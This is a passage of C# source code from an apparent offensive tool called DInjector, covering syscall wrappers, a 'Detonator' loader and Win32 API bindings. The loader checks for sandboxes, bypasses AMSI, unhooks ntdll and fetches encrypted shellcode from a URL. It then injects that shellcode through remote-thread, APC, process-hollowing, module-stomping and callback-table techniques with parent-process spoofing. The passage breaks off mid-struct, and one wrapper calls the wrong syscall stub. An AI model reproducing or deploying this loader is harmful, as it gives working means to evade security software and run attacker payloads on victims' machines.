204 | ref ThreadHandle, 205 | dwDesiredAccess, 206 | ref ObjectAttributes, 207 | ref ClientId); 208 | } 209 | 210 | public static NTSTATUS NtQueueApcThread(IntPtr ThreadHandle, IntPtr ApcRoutine, IntPtr ApcArgument1, IntPtr ApcArgument2, IntPtr ApcArgument3) 211 | { 212 | IntPtr stub = GetSyscallStub("ZwQueueApcThread"); 213 | Delegates.NtQueueApcThread ntQueueApcThread = (Delegates.NtQueueApcThread)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtQueueApcThread)); 214 | 215 | return ntQueueApcThread( 216 | ThreadHandle, 217 | ApcRoutine, 218 | ApcArgument1, 219 | ApcArgument2, 220 | ApcArgument3); 221 | } 222 | 223 | public static NTSTATUS NtAlertResumeThread(IntPtr ThreadHandle, ref uint SuspendCount) 224 | { 225 | IntPtr stub = GetSyscallStub("ZwAlertResumeThread"); 226 | Delegates.NtAlertResumeThread ntAlertResumeThread = (Delegates.NtAlertResumeThread)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtAlertResumeThread)); 227 | 228 | return ntAlertResumeThread( 229 | ThreadHandle, 230 | ref SuspendCount); 231 | } 232 | 233 | public static NTSTATUS NtGetContextThread(IntPtr hThread, ref Registers.CONTEXT64 lpContext) 234 | { 235 | IntPtr stub = GetSyscallStub("ZwGetContextThread"); 236 | Delegates.NtGetContextThread ntGetContextThread = (Delegates.NtGetContextThread)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtGetContextThread)); 237 | 238 | return ntGetContextThread( 239 | hThread, 240 | ref lpContext); 241 | } 242 | 243 | public static NTSTATUS NtSetContextThread(IntPtr hThread, ref Registers.CONTEXT64 lpContext) 244 | { 245 | IntPtr stub = GetSyscallStub("ZwGetContextThread"); 246 | Delegates.NtSetContextThread ntSetContextThread = (Delegates.NtSetContextThread)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtSetContextThread)); 247 | 248 | return ntSetContextThread( 249 | hThread, 250 | ref lpContext); 251 | } 252 | 253 | public static NTSTATUS NtCreateSection(ref IntPtr SectionHandle, DI.Data.Win32.WinNT.ACCESS_MASK DesiredAccess, IntPtr ObjectAttributes, ref UInt32 MaximumSize, UInt32 SectionPageProtection, UInt32 AllocationAttributes, IntPtr FileHandle) 254 | { 255 | IntPtr stub = GetSyscallStub("ZwCreateSection"); 256 | Delegates.NtCreateSection ntCreateSection = (Delegates.NtCreateSection)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtCreateSection)); 257 | 258 | return ntCreateSection( 259 | ref SectionHandle, 260 | DesiredAccess, 261 | ObjectAttributes, 262 | ref MaximumSize, 263 | SectionPageProtection, 264 | AllocationAttributes, 265 | FileHandle); 266 | } 267 | 268 | public static NTSTATUS NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, UIntPtr ZeroBits, UIntPtr CommitSize, ref ulong SectionOffset, ref uint ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect) 269 | { 270 | IntPtr stub = GetSyscallStub("ZwMapViewOfSection"); 271 | Delegates.NtMapViewOfSection ntMapViewOfSection = (Delegates.NtMapViewOfSection)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtMapViewOfSection)); 272 | 273 | if (ProcessHandle == IntPtr.Zero) 274 | return ntMapViewOfSection( 275 | SectionHandle, 276 | Process.GetCurrentProcess().Handle, 277 | ref BaseAddress, 278 | ZeroBits, 279 | CommitSize, 280 | ref SectionOffset, 281 | ref ViewSize, 282 | InheritDisposition, 283 | AllocationType, 284 | Win32Protect); 285 | 286 | return ntMapViewOfSection( 287 | SectionHandle, 288 | ProcessHandle, 289 | ref BaseAddress, 290 | ZeroBits, 291 | CommitSize, 292 | ref SectionOffset, 293 | ref ViewSize, 294 | InheritDisposition, 295 | AllocationType, 296 | Win32Protect); 297 | } 298 | 299 | public static NTSTATUS NtUnmapViewOfSection(IntPtr ProcessHandle, IntPtr BaseAddress) 300 | { 301 | IntPtr stub = GetSyscallStub("ZwUnmapViewOfSection"); 302 | Delegates.NtUnmapViewOfSection ntUnmapViewOfSection = (Delegates.NtUnmapViewOfSection)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtUnmapViewOfSection)); 303 | 304 | if (ProcessHandle == IntPtr.Zero) 305 | return ntUnmapViewOfSection( 306 | Process.GetCurrentProcess().Handle, 307 | BaseAddress); 308 | 309 | return ntUnmapViewOfSection( 310 | ProcessHandle, 311 | BaseAddress); 312 | } 313 | 314 | public static NTSTATUS NtClose(IntPtr ObjectHandle) 315 | { 316 | IntPtr stub = GetSyscallStub("ZwClose"); 317 | Delegates.NtClose ntClose = (Delegates.NtClose)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtClose)); 318 | 319 | return ntClose(ObjectHandle); 320 | } 321 | } 322 | } 323 | -------------------------------------------------------------------------------- /DInjector/Detonator.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Net; 4 | using System.Linq; 5 | using System.Diagnostics; 6 | using System.Globalization; 7 | using System.Collections.Generic; 8 | 9 | using DI = DInvoke; 10 | 11 | namespace DInjector 12 | { 13 | public class Detonator 14 | { 15 | /// 16 | /// Check if we're in a sandbox by calling a rare-emulated API. 17 | /// 18 | static bool UncommonAPICheck() 19 | { 20 | if (Win32.VirtualAllocExNuma(Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0) == IntPtr.Zero) 21 | return false; 22 | 23 | return true; 24 | } 25 | 26 | /// 27 | /// Check if the emulator did not fast-forward through the sleep instruction. 28 | /// 29 | static bool SleepCheck() 30 | { 31 | var rand = new Random(); 32 | uint dream = (uint)rand.Next(2000, 3000); 33 | double delta = dream / 1000 - 0.5; 34 | 35 | DateTime before = DateTime.Now; 36 | Win32.Sleep(dream); 37 | 38 | if (DateTime.Now.Subtract(before).TotalSeconds < delta) 39 | return false; 40 | 41 | return true; 42 | } 43 | 44 | /// 45 | /// Calculate primes to sleep before execution. 46 | /// 47 | static bool IsPrime(int number) 48 | { 49 | bool CalcPrime(int value) 50 | { 51 | var possibleFactors = Math.Sqrt(number); 52 | 53 | for (var factor = 2; factor <= possibleFactors; factor++) 54 | if (value % factor == 0) 55 | return false; 56 | 57 | return true; 58 | } 59 | 60 | return number > 1 && CalcPrime(number); 61 | } 62 | 63 | static void BoomExecute(Dictionary options) 64 | { 65 | // Sleep to evade potential in-memory scan 66 | try 67 | { 68 | int k = 0, sleep = int.Parse(options["/sleep"]); 69 | if (0 < sleep && sleep < 10) 70 | k = 10; 71 | else if (10 <= sleep && sleep < 20) 72 | k = 8; 73 | else if (20 <= sleep && sleep < 30) 74 | k = 6; 75 | else if (30 <= sleep && sleep < 40) 76 | k = 4; 77 | else if (40 <= sleep && sleep < 50) 78 | k = 2; 79 | else if (50 <= sleep && sleep < 60 || 60 <= sleep) 80 | k = 1; 81 | 82 | Console.WriteLine("(Detonator) [=] Sleeping a bit ..."); 83 | 84 | int start = 1, end = sleep * k * 100000; 85 | _ = Enumerable.Range(start, end - start).Where(IsPrime).Select(number => number).ToList(); 86 | } 87 | catch (Exception) 88 | { } 89 | 90 | // Bypass AMSI (current process) 91 | try 92 | { 93 | bool localAm51 = false, forceLocalAm51 = false; 94 | if (options["/am51"].ToUpper() == "FORCE") 95 | localAm51 = forceLocalAm51 = true; 96 | else if (bool.Parse(options["/am51"])) 97 | localAm51 = true; 98 | 99 | if (localAm51) 100 | AM51.Patch(force: forceLocalAm51); 101 | } 102 | catch (Exception) 103 | { } 104 | 105 | // Unhook ntdll.dll 106 | try 107 | { 108 | if (bool.Parse(options["/unhook"])) 109 | Unhooker.Unhook(); 110 | } 111 | catch (Exception) 112 | { } 113 | 114 | var commandName = string.Empty; 115 | foreach (KeyValuePair item in options) 116 | if (item.Value == string.Empty) 117 | commandName = item.Key; 118 | 119 | var shellcodePath = options["/sc"]; 120 | var password = options["/p"]; 121 | 122 | byte[] shellcodeEncrypted; 123 | if (shellcodePath.StartsWith("http", ignoreCase: true, culture: new CultureInfo("en-US"))) 124 | { 125 | Console.WriteLine("(Detonator) [*] Loading shellcode from URL"); 126 | WebClient wc = new WebClient(); 127 | ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls | (SecurityProtocolType)768 | (SecurityProtocolType)3072; 128 | MemoryStream ms = new MemoryStream(wc.DownloadData(shellcodePath)); 129 | BinaryReader br = new BinaryReader(ms); 130 | shellcodeEncrypted = br.ReadBytes(Convert.ToInt32(ms.Length)); 131 | } 132 | else 133 | { 134 | Console.WriteLine("(Detonator) [*] Loading shellcode from base64 input"); 135 | shellcodeEncrypted = Convert.FromBase64String(shellcodePath); 136 | } 137 | 138 | AES ctx = new AES(password); 139 | var shellcodeBytes = ctx.Decrypt(shellcodeEncrypted); 140 | 141 | int flipSleep = 0; 142 | try 143 | { 144 | flipSleep = int.Parse(options["/flipSleep"]); 145 | } 146 | catch (Exception) 147 | { } 148 | 149 | bool remoteAm51 = false, forceRemoteAm51 = false; 150 | try 151 | { 152 | if (options["/remoteAm51"].ToUpper() == "FORCE") 153 | remoteAm51 = forceRemoteAm51 = true; 154 | else if (bool.Parse(options["/remoteAm51"])) 155 | remoteAm51 = true; 156 | } 157 | catch (Exception) 158 | { } 159 | 160 | var ppid = 0; 161 | try 162 | { 163 | ppid = int.Parse(options["/ppid"]); 164 | } 165 | catch (Exception) 166 | { } 167 | 168 | var blockDlls = false; 169 | try 170 | { 171 | if (bool.Parse(options["/blockDlls"])) 172 | blockDlls = true; 173 | } 174 | catch (Exception) 175 | { } 176 | 177 | var debug = false; 178 | try 179 | { 180 | if (bool.Parse(options["/debug"])) 181 | debug = true; 182 | } 183 | catch (Exception) 184 | { } 185 | 186 | try 187 | { 188 | switch (commandName.ToLower()) 189 | { 190 | case "functionpointer": 191 | FunctionPointer.Execute( 192 | shellcodeBytes, 193 | debug); 194 | break; 195 | 196 | case "functionpointerunsafe": 197 | FunctionPointerUnsafe.Execute( 198 | shellcodeBytes, 199 | debug); 200 | break; 201 | 202 | case "clipboardpointer": 203 | ClipboardPointer.Execute( 204 | shellcodeBytes, 205 | debug); 206 | break; 207 | 208 | case "timeformats": 209 | TimeFormats.Execute( 210 | shellcodeBytes, 211 | debug); 212 | break; 213 | 214 | case "currentthread": 215 | string strProtect = "RX"; 216 | try 217 | { 218 | strProtect = options["/protect"].ToUpper(); 219 | } 220 | catch (Exception) 221 | { } 222 | 223 | uint protect = 0; 224 | if (strProtect == "RWX") 225 | protect = DI.Data.Win32.WinNT.PAGE_EXECUTE_READWRITE; 226 | else // if (strProtect == "RX") 227 | protect = DI.Data.Win32.WinNT.PAGE_EXECUTE_READ; 228 | 229 | uint timeout = 0; 230 | try 231 | { 232 | timeout = uint.Parse(options["/timeout"]); 233 | } 234 | catch (Exception) 235 | { } 236 | 237 | string strFluctuate = "-1"; 238 | try 239 | { 240 | strFluctuate = options["/fluctuate"].ToUpper(); 241 | } 242 | catch (Exception) 243 | { } 244 | 245 | uint fluctuate = 0; 246 | if (strFluctuate == "RW") 247 | fluctuate = DI.Data.Win32.WinNT.PAGE_READWRITE; 248 | //else if (strFluctuate == "NA") 249 | //fluctuate = DI.Data.Win32.WinNT.PAGE_NOACCESS; 250 | 251 | CurrentThread.Execute( 252 | shellcodeBytes, 253 | protect, 254 | timeout, 255 | flipSleep, 256 | fluctuate, 257 | debug); 258 | break; 259 | 260 | case "currentthreaduuid": 261 | string shellcodeUuids = System.Text.Encoding.UTF8.GetString(shellcodeBytes); 262 | CurrentThreadUuid.Execute(shellcodeUuids); 263 | break; 264 | 265 | case "remotethread": 266 | RemoteThread.Execute( 267 | shellcodeBytes, 268 | int.Parse(options["/pid"]), 269 | remoteAm51, 270 | forceRemoteAm51, 271 | debug); 272 | break; 273 | 274 | case "remotethreaddll": 275 | RemoteThreadDll.Execute( 276 | shellcodeBytes, 277 | int.Parse(options["/pid"]), 278 | options["/dll"], 279 | remoteAm51, 280 | forceRemoteAm51, 281 | debug); 282 | break; 283 | 284 | case "remotethreadview": 285 | RemoteThreadView.Execute( 286 | shellcodeBytes, 287 | int.Parse(options["/pid"]), 288 | remoteAm51, 289 | forceRemoteAm51, 290 | debug); 291 | break; 292 | 293 | case "remotethreadsuspended": 294 | if (flipSleep == 0) 295 | { 296 | var rand = new Random(); 297 | flipSleep = rand.Next(10000, 12500); 298 | } 299 | 300 | RemoteThreadSuspended.Execute( 301 | shellcodeBytes, 302 | int.Parse(options["/pid"]), 303 | flipSleep, 304 | remoteAm51, 305 | forceRemoteAm51, 306 | debug); 307 | break; 308 | 309 | case "remotethreadkernelcb": 310 | RemoteThreadKernelCB.Execute( 311 | shellcodeBytes, 312 | options["/image"], 313 | ppid, 314 | blockDlls, 315 | remoteAm51, 316 | debug); 317 | break; 318 | 319 | case "remotethreadapc": 320 | RemoteThreadAPC.Execute( 321 | shellcodeBytes, 322 | options["/image"], 323 | ppid, 324 | blockDlls, 325 | remoteAm51, 326 | debug); 327 | break; 328 | 329 | case "remotethreadcontext": 330 | RemoteThreadContext.Execute( 331 | shellcodeBytes, 332 | options["/image"], 333 | ppid, 334 | blockDlls, 335 | remoteAm51, 336 | debug); 337 | break; 338 | 339 | case "processhollowing": 340 | ProcessHollowing.Execute( 341 | shellcodeBytes, 342 | options["/image"], 343 | ppid, 344 | blockDlls, 345 | remoteAm51, 346 | debug); 347 | break; 348 | 349 | case "modulestomping": 350 | ModuleStomping.Execute( 351 | shellcodeBytes, 352 | options["/image"], 353 | options["/stompDll"], 354 | options["/stompExport"], 355 | ppid, 356 | blockDlls, 357 | remoteAm51, 358 | debug); 359 | break; 360 | } 361 | } 362 | catch (Exception e) 363 | { 364 | Console.WriteLine(e.Message); 365 | Console.WriteLine(e.InnerException); 366 | } 367 | } 368 | 369 | public static string BoomString(string command) 370 | { 371 | if (!UncommonAPICheck()) 372 | return "(Detonator) [-] Failed uncommon API check\n"; 373 | 374 | if (!SleepCheck()) 375 | return "(Detonator) [-] Failed sleep check\n"; 376 | 377 | var args = command.Split() ; 378 | var options = ArgumentParser.Parse(args); 379 | 380 | // Stolen from Rubeus: https://github.com/GhostPack/Rubeus/blob/493b8c72c32426db95ffcbd355442fdb2791ca25/Rubeus/Program.cs#L75-L93 381 | var realStdOut = Console.Out; 382 | var realStdErr = Console.Error; 383 | var stdOutWriter = new StringWriter(); 384 | var stdErrWriter = new StringWriter(); 385 | Console.SetOut(stdOutWriter); 386 | Console.SetError(stdErrWriter); 387 | 388 | BoomExecute(options); 389 | 390 | Console.Out.Flush(); 391 | Console.Error.Flush(); 392 | Console.SetOut(realStdOut); 393 | Console.SetError(realStdErr); 394 | 395 | var output = ""; 396 | output += stdOutWriter.ToString(); 397 | output += stdErrWriter.ToString(); 398 | 399 | return output; 400 | } 401 | 402 | public static void Boom(string command) 403 | { 404 | if (!UncommonAPICheck()) 405 | { 406 | Console.WriteLine("(Detonator) [-] Failed uncommon API check"); 407 | return; 408 | } 409 | 410 | if (!SleepCheck()) 411 | { 412 | Console.WriteLine("(Detonator) [-] Failed sleep check"); 413 | return; 414 | } 415 | 416 | var args = command.Split(); 417 | var options = ArgumentParser.Parse(args); 418 | 419 | BoomExecute(options); 420 | } 421 | } 422 | } 423 | -------------------------------------------------------------------------------- /DInjector/API/Win32.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Runtime.InteropServices; 4 | 5 | using DI = DInvoke; 6 | using static DInvoke.Data.Native; 7 | using static DInvoke.DynamicInvoke.Generic; 8 | 9 | namespace DInjector 10 | { 11 | class Win32 12 | { 13 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 14 | public static extern IntPtr VirtualAllocExNuma( 15 | IntPtr hProcess, 16 | IntPtr lpAddress, 17 | uint dwSize, 18 | UInt32 flAllocationType, 19 | UInt32 flProtect, 20 | UInt32 nndPreferred); 21 | 22 | [DllImport("kernel32.dll")] 23 | public static extern void Sleep(uint dwMilliseconds); 24 | 25 | public static bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, ref IntPtr lpSize) 26 | { 27 | object[] parameters = { lpAttributeList, dwAttributeCount, 0, lpSize }; 28 | var result = (bool)DynamicAPIInvoke("kernel32.dll", "InitializeProcThreadAttributeList", typeof(Delegates.InitializeProcThreadAttributeList), ref parameters); 29 | 30 | lpSize = (IntPtr)parameters[3]; 31 | return result; 32 | } 33 | 34 | public static bool UpdateProcThreadAttribute(IntPtr lpAttributeList, IntPtr attribute, IntPtr lpValue) 35 | { 36 | object[] parameters = { lpAttributeList, (uint)0, attribute, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero }; 37 | var result = (bool)DynamicAPIInvoke("kernel32.dll", "UpdateProcThreadAttribute", typeof(Delegates.UpdateProcThreadAttribute), ref parameters, true); 38 | 39 | return result; 40 | } 41 | 42 | public static bool DeleteProcThreadAttributeList(IntPtr lpAttributeList) 43 | { 44 | object[] parameters = { lpAttributeList }; 45 | var result = (bool)DynamicAPIInvoke("kernel32.dll", "DeleteProcThreadAttributeList", typeof(Delegates.DeleteProcThreadAttributeList), ref parameters); 46 | 47 | return result; 48 | } 49 | 50 | public static bool CreateProcessA(string applicationName, string workingDirectory, uint creationFlags, DI.Data.Win32.ProcessThreadsAPI._STARTUPINFOEX startupInfoEx, out DI.Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION processInformation) 51 | { 52 | var pa = new DI.Data.Win32.WinBase.SECURITY_ATTRIBUTES(); 53 | var ta = new DI.Data.Win32.WinBase.SECURITY_ATTRIBUTES(); 54 | var pi = new DI.Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION(); 55 | 56 | object[] parameters = { applicationName, null, pa, ta, false, creationFlags, IntPtr.Zero, workingDirectory, startupInfoEx, pi }; 57 | var result = (bool)DynamicAPIInvoke("kernel32.dll", "CreateProcessA", typeof(Delegates.CreateProcessA), ref parameters); 58 | 59 | if (!result) throw new Win32Exception(Marshal.GetLastWin32Error()); 60 | processInformation = (DI.Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION)parameters[9]; 61 | 62 | return result; 63 | } 64 | 65 | public static bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, out MODULEINFO lpmodinfo, uint cb) 66 | { 67 | MODULEINFO mi = new MODULEINFO(); 68 | 69 | object[] parameters = { hProcess, hModule, mi, cb }; 70 | var result = (bool)DynamicAPIInvoke("psapi.dll", "GetModuleInformation", typeof(Delegates.GetModuleInformation), ref parameters); 71 | 72 | if (!result) throw new Win32Exception(Marshal.GetLastWin32Error()); 73 | lpmodinfo = (MODULEINFO)parameters[2]; 74 | 75 | return result; 76 | } 77 | 78 | public static bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect) 79 | { 80 | uint oldProtect = 0; 81 | 82 | object[] parameters = { lpAddress, dwSize, flNewProtect, oldProtect }; 83 | var result = (bool)DynamicAPIInvoke("kernel32.dll", "VirtualProtect", typeof(Delegates.VirtualProtect), ref parameters); 84 | 85 | if (!result) throw new Win32Exception(Marshal.GetLastWin32Error()); 86 | lpflOldProtect = (uint)parameters[3]; 87 | 88 | return result; 89 | } 90 | 91 | public static uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds) 92 | { 93 | object[] parameters = { hHandle, dwMilliseconds }; 94 | var result = (uint)DynamicAPIInvoke("kernel32.dll", "WaitForSingleObject", typeof(Delegates.WaitForSingleObject), ref parameters); 95 | 96 | return result; 97 | } 98 | 99 | public static void CopyMemory(IntPtr destination, IntPtr source, uint length) 100 | { 101 | object[] parameters = { destination, source, length }; 102 | _ = DynamicAPIInvoke("kernel32.dll", "RtlCopyMemory", typeof(Delegates.CopyMemory), ref parameters); 103 | } 104 | 105 | public static bool OpenClipboard(IntPtr hWndNewOwner) 106 | { 107 | object[] parameters = { hWndNewOwner }; 108 | var result = (bool)DynamicAPIInvoke("user32.dll", "OpenClipboard", typeof(Delegates.OpenClipboard), ref parameters); 109 | 110 | return result; 111 | } 112 | 113 | public static IntPtr SetClipboardData(uint uFormat, byte[] hMem) 114 | { 115 | object[] parameters = { uFormat, hMem }; 116 | var result = (IntPtr)DynamicAPIInvoke("user32.dll", "SetClipboardData", typeof(Delegates.SetClipboardData), ref parameters); 117 | 118 | return result; 119 | } 120 | 121 | public static bool CloseClipboard() 122 | { 123 | object[] parameters = { }; 124 | var result = (bool)DynamicAPIInvoke("user32.dll", "CloseClipboard", typeof(Delegates.CloseClipboard), ref parameters); 125 | 126 | return result; 127 | } 128 | 129 | public static IntPtr HeapCreate(uint flOptions, UIntPtr dwInitialSize, UIntPtr dwMaximumSize) 130 | { 131 | object[] parameters = { flOptions, dwInitialSize, dwMaximumSize }; 132 | var result = (IntPtr)DynamicAPIInvoke("kernel32.dll", "HeapCreate", typeof(Delegates.HeapCreate), ref parameters); 133 | 134 | return result; 135 | } 136 | 137 | public static IntPtr UuidFromStringA(string stringUuid, IntPtr heapPointer) 138 | { 139 | object[] parameters = { stringUuid, heapPointer }; 140 | var result = (IntPtr)DynamicAPIInvoke("rpcrt4.dll", "UuidFromStringA", typeof(Delegates.UuidFromStringA), ref parameters); 141 | 142 | return result; 143 | } 144 | 145 | public static bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, int dwFlags) 146 | { 147 | object[] parameters = { lpLocaleEnumProc, dwFlags }; 148 | var result = (bool)DynamicAPIInvoke("kernel32.dll", "EnumSystemLocalesA", typeof(Delegates.EnumSystemLocalesA), ref parameters); 149 | 150 | return result; 151 | } 152 | 153 | public static bool EnumTimeFormatsEx(IntPtr lpTimeFmtEnumProcEx, IntPtr lpLocaleName, uint dwFlags, uint lParam) 154 | { 155 | object[] parameters = { lpTimeFmtEnumProcEx, lpLocaleName, dwFlags, lParam }; 156 | var result = (bool)DynamicAPIInvoke("kernel32.dll", "EnumTimeFormatsEx", typeof(Delegates.EnumTimeFormatsEx), ref parameters); 157 | 158 | return result; 159 | } 160 | 161 | public static uint WaitForInputIdle(IntPtr hProcess, uint dwMilliseconds) 162 | { 163 | object[] parameters = { hProcess, dwMilliseconds }; 164 | var result = (uint)DynamicAPIInvoke("user32.dll", "WaitForInputIdle", typeof(Delegates.WaitForInputIdle), ref parameters); 165 | 166 | return result; 167 | } 168 | 169 | public static IntPtr FindWindowExA(IntPtr parentHandle, IntPtr hWndChildAfter, string className, string windowTitle) 170 | { 171 | object[] parameters = { parentHandle, hWndChildAfter, className, windowTitle }; 172 | var result = (IntPtr)DynamicAPIInvoke("user32.dll", "FindWindowExA", typeof(Delegates.FindWindowExA), ref parameters); 173 | 174 | return result; 175 | } 176 | 177 | public static IntPtr SendMessageA(IntPtr hWnd, uint Msg, IntPtr wParam, ref Win32.COPYDATASTRUCT lParam) 178 | { 179 | object[] parameters = { hWnd, Msg, wParam, lParam }; 180 | var result = (IntPtr)DynamicAPIInvoke("user32.dll", "SendMessageA", typeof(Delegates.SendMessageA), ref parameters); 181 | 182 | return result; 183 | } 184 | 185 | public static NTSTATUS RtlCreateUserThread(IntPtr ProcessHandle, IntPtr ThreadSecurity, bool CreateSuspended, Int32 StackZeroBits, IntPtr StackReserved, IntPtr StackCommit, IntPtr StartAddress, IntPtr Parameter, ref IntPtr ThreadHandle, IntPtr ClientId) 186 | { 187 | object[] parameters = { 188 | ProcessHandle, 189 | ThreadSecurity, 190 | CreateSuspended, 191 | StackZeroBits, 192 | StackReserved, 193 | StackCommit, 194 | StartAddress, 195 | Parameter, 196 | ThreadHandle, 197 | ClientId}; 198 | 199 | var result = (NTSTATUS)DynamicAPIInvoke("ntdll.dll", "RtlCreateUserThread", typeof(Delegates.RtlCreateUserThread), ref parameters); 200 | 201 | ThreadHandle = (IntPtr)parameters[8]; 202 | return result; 203 | } 204 | 205 | [StructLayout(LayoutKind.Sequential)] 206 | public struct MODULEINFO 207 | { 208 | public IntPtr lpBaseOfDll; 209 | public uint SizeOfImage; 210 | public IntPtr EntryPoint; 211 | } 212 | 213 | [StructLayout(LayoutKind.Sequential, Pack = 0)] 214 | public struct OBJECT_ATTRIBUTES 215 | { 216 | public int Length; 217 | public IntPtr RootDirectory; 218 | public IntPtr ObjectName; 219 | public uint Attributes; 220 | public IntPtr SecurityDescriptor; 221 | public IntPtr SecurityQualityOfService; 222 | } 223 | 224 | [StructLayout(LayoutKind.Sequential)] 225 | public struct CLIENT_ID 226 | { 227 | public IntPtr UniqueProcess; 228 | public IntPtr UniqueThread; 229 | } 230 | 231 | [StructLayout(LayoutKind.Sequential)] 232 | internal struct KernelCallBackTable 233 | { 234 | public IntPtr fnCOPYDATA; 235 | public IntPtr fnCOPYGLOBALDATA; 236 | public IntPtr fnDWORD; 237 | public IntPtr fnNCDESTROY; 238 | public IntPtr fnDWORDOPTINLPMSG; 239 | public IntPtr fnINOUTDRAG; 240 | public IntPtr fnGETTEXTLENGTHS; 241 | public IntPtr fnINCNTOUTSTRING; 242 | public IntPtr fnPOUTLPINT; 243 | public IntPtr fnINLPCOMPAREITEMSTRUCT; 244 | public IntPtr fnINLPCREATESTRUCT; 245 | public IntPtr fnINLPDELETEITEMSTRUCT; 246 | public IntPtr fnINLPDRAWITEMSTRUCT; 247 | public IntPtr fnPOPTINLPUINT; 248 | public IntPtr fnPOPTINLPUINT2; 249 | public IntPtr fnINLPMDICREATESTRUCT; 250 | public IntPtr fnINOUTLPMEASUREITEMSTRUCT; 251 | public IntPtr fnINLPWINDOWPOS; 252 | public IntPtr fnINOUTLPPOINT5; 253 | public IntPtr fnINOUTLPSCROLLINFO; 254 | public IntPtr fnINOUTLPRECT; 255 | public IntPtr fnINOUTNCCALCSIZE; 256 | public IntPtr fnINOUTLPPOINT5_; 257 | public IntPtr fnINPAINTCLIPBRD; 258 | public IntPtr fnINSIZECLIPBRD; 259 | public IntPtr fnINDESTROYCLIPBRD; 260 | public IntPtr fnINSTRING; 261 | public IntPtr fnINSTRINGNULL; 262 | public IntPtr fnINDEVICECHANGE; 263 | public IntPtr fnPOWERBROADCAST; 264 | public IntPtr fnINLPUAHDRAWMENU; 265 | public IntPtr fnOPTOUTLPDWORDOPTOUTLPDWORD; 266 | public IntPtr fnOPTOUTLPDWORDOPTOUTLPDWORD_; 267 | public IntPtr fnOUTDWORDINDWORD; 268 | public IntPtr fnOUTLPRECT; 269 | public IntPtr fnOUTSTRING; 270 | public IntPtr fnPOPTINLPUINT3; 271 | public IntPtr fnPOUTLPINT2; 272 | public IntPtr fnSENTDDEMSG; 273 | public IntPtr fnINOUTSTYLECHANGE; 274 | public IntPtr fnHkINDWORD; 275 | public IntPtr fnHkINLPCBTACTIVATESTRUCT; 276 | public IntPtr fnHkINLPCBTCREATESTRUCT; 277 | public IntPtr fnHkINLPDEBUGHOOKSTRUCT; 278 | public IntPtr fnHkINLPMOUSEHOOKSTRUCTEX; 279 | public IntPtr fnHkINLPKBDLLHOOKSTRUCT; 280 | public IntPtr fnHkINLPMSLLHOOKSTRUCT; 281 | public IntPtr fnHkINLPMSG; 282 | public IntPtr fnHkINLPRECT; 283 | public IntPtr fnHkOPTINLPEVENTMSG; 284 | public IntPtr xxxClientCallDelegateThread; 285 | public IntPtr ClientCallDummyCallback; 286 | public IntPtr fnKEYBOARDCORRECTIONCALLOUT; 287 | public IntPtr fnOUTLPCOMBOBOXINFO; 288 | public IntPtr fnINLPCOMPAREITEMSTRUCT2; 289 | public IntPtr xxxClientCallDevCallbackCapture; 290 | public IntPtr xxxClientCallDitThread; 291 | public IntPtr xxxClientEnableMMCSS; 292 | public IntPtr xxxClientUpdateDpi; 293 | public IntPtr xxxClientExpandStringW; 294 | public IntPtr ClientCopyDDEIn1; 295 | public IntPtr ClientCopyDDEIn2; 296 | public IntPtr ClientCopyDDEOut1; 297 | public IntPtr ClientCopyDDEOut2; 298 | public IntPtr ClientCopyImage; 299 | public IntPtr ClientEventCallback; 300 | public IntPtr ClientFindMnemChar; 301 | public IntPtr ClientFreeDDEHandle; 302 | public IntPtr ClientFreeLibrary; 303 | public IntPtr ClientGetCharsetInfo; 304 | public IntPtr ClientGetDDEFlags; 305 | public IntPtr ClientGetDDEHookData; 306 | public IntPtr ClientGetListboxString; 307 | public IntPtr ClientGetMessageMPH; 308 | public IntPtr ClientLoadImage; 309 | public IntPtr ClientLoadLibrary; 310 | public IntPtr ClientLoadMenu; 311 | public IntPtr ClientLoadLocalT1Fonts; 312 | public IntPtr ClientPSMTextOut; 313 | public IntPtr ClientLpkDrawTextEx; 314 | public IntPtr ClientExtTextOutW; 315 | public IntPtr ClientGetTextExtentPointW; 316 | public IntPtr ClientCharToWchar; 317 | public IntPtr ClientAddFontResourceW; 318 | public IntPtr ClientThreadSetup; 319 | public IntPtr ClientDeliverUserApc; 320 | public IntPtr ClientNoMemoryPopup; 321 | public IntPtr ClientMonitorEnumProc; 322 | public IntPtr ClientCallWinEventProc; 323 | public IntPtr ClientWaitMessageExMPH; 324 | public IntPtr ClientWOWGetProcModule; 325 | public IntPtr ClientWOWTask16SchedNotify; 326 | public IntPtr ClientImmLoadLayout; 327 | public IntPtr ClientImmProcessKey; 328 | public IntPtr fnIMECONTROL; 329 | public IntPtr fnINWPARAMDBCSCHAR; 330 | public IntPtr fnGETTEXTLENGTHS2; 331 | public IntPtr fnINLPKDRAWSWITCHWND; 332 | public IntPtr ClientLoadStringW; 333 | public IntPtr ClientLoadOLE; 334 | public IntPtr ClientRegisterDragDrop; 335 | public IntPtr ClientRevokeDragDrop; 336 | public IntPtr fnINOUTMENUGETOBJECT; 337 | public IntPtr ClientPrinterThunk; 338 | public IntPtr 